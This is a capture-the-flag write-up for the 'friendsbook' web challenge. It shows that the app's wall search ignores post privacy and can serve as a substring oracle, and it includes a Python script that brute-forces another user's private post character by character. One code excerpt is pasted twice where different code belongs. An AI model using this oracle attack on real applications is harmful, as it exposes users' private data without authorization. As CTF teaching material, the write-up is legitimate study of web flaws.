friendsbook
Challenge
Please, help me discover Mark’s dirty secrets! I know he is no choir boy!
https://friendsbook.knping.pl/
Overview
We are provided the docker files for the challenge. The challenge is an Express application using Pug for templating. The flag is stored in a constant found in flag.js
. The application is a barebones facebook. You can register a user, add friends, and view/create posts on your “wall”.
Users and Posts are class objects under the domain folder. Posts contain content and most importaly an author
and isPrivate
field.
constructor({ id, isPrivate, content, createdAt, author, authorId }) {
this.id = id;
this.isPrivate = isPrivate;
this.content = content;
this.createdAt = createdAt;
this.author = author;
this.authorId = authorId;
}
You can view all public posts of friends and private posts of your own creation.
From the UserRepository.js
file, we can see when the application is created a new user “Mark” is made with a secure password and they create a private post containing the flag.
const user = User.create({
username: "Mark",
password: await bcrypt.hash(
crypto.randomBytes(128).toString("hex"),
10
),
});
adminId = user.id;
const secretPost = Post.create({
isPrivate: true,
content: `My dirty secrets... ${FLAG}... I hope noone violates my privacy!`,
author: user.username,
authorId: user.id,
});
The goal then is to somehow read the private posts (or flag).
Searching…
On the /wall
endpoint, we note a search function which makes some fetch requests from the wall.js
file:
const user = User.create({
username: "Mark",
password: await bcrypt.hash(
crypto.randomBytes(128).toString("hex"),
10
),
});
adminId = user.id;
const secretPost = Post.create({
isPrivate: true,
content: `My dirty secrets... ${FLAG}... I hope noone violates my privacy!`,
author: user.username,
authorId: user.id,
});
Following this to the /wall
route shows the search logic:
router.get("/wall", verifyToken, async (req, res) => {
try {
const { q } = req.query;
const posts = UserRepository.getWall(req.user.id, q);
const count = UserRepository.getWallCount(req.user.id, q);
res.json({ data: posts, count });
} catch (err) {
res.redirect(`/error?message=${err.message}`);
}
});
Finally, the getWall()
method gives some hope:
getWall(userId, query) {
const user = users.find((u) => u.id === userId);
return posts
.sort((a, b) => b.createdAt - a.createdAt)
.map((p) => {
if (
(user.friends.includes(p.authorId) &&
p.content.includes(query)) ||
(p.authorId === userId && p.content.includes(query))
) {
return p.id;
}
})
.filter((p) => p !== undefined);
}
Note that this method does not check if the post is private. As such, substrings of the post can be discovered. This is verified by sending a request with the query “ping{”. A valid response is obtained:
Flag
Assuming the flag only contains valid ascii characters, a solution can be automated with some brute forcing. However, we must omit “#” and “&” due to their use in URL parameters.
import requests
import string
import json
Cookies = {"token":"<snip>"}
url = "http://friendsbook.knping.pl/api/post/wall?q="
flag = "ping{"
def bruteChar(flag):
oldFlag = flag
for char in string.printable:
if char != '#' and char != '&':
flag = flag + char
r = requests.get(url+flag, cookies=Cookies)
if r.status_code == 200 and json.loads(r.content)["count"] > 0:
print("[+] New character found (%s)" % (char))
return [True,flag]
else:
flag = oldFlag
return [False,'']
if __name__ == "__main__":
while flag[-1] != '}':
status,tmp = bruteChar(flag)
if status:
flag = tmp
print("[+]Flag Found: %s"%(flag))
The script is run and the flag is obtained.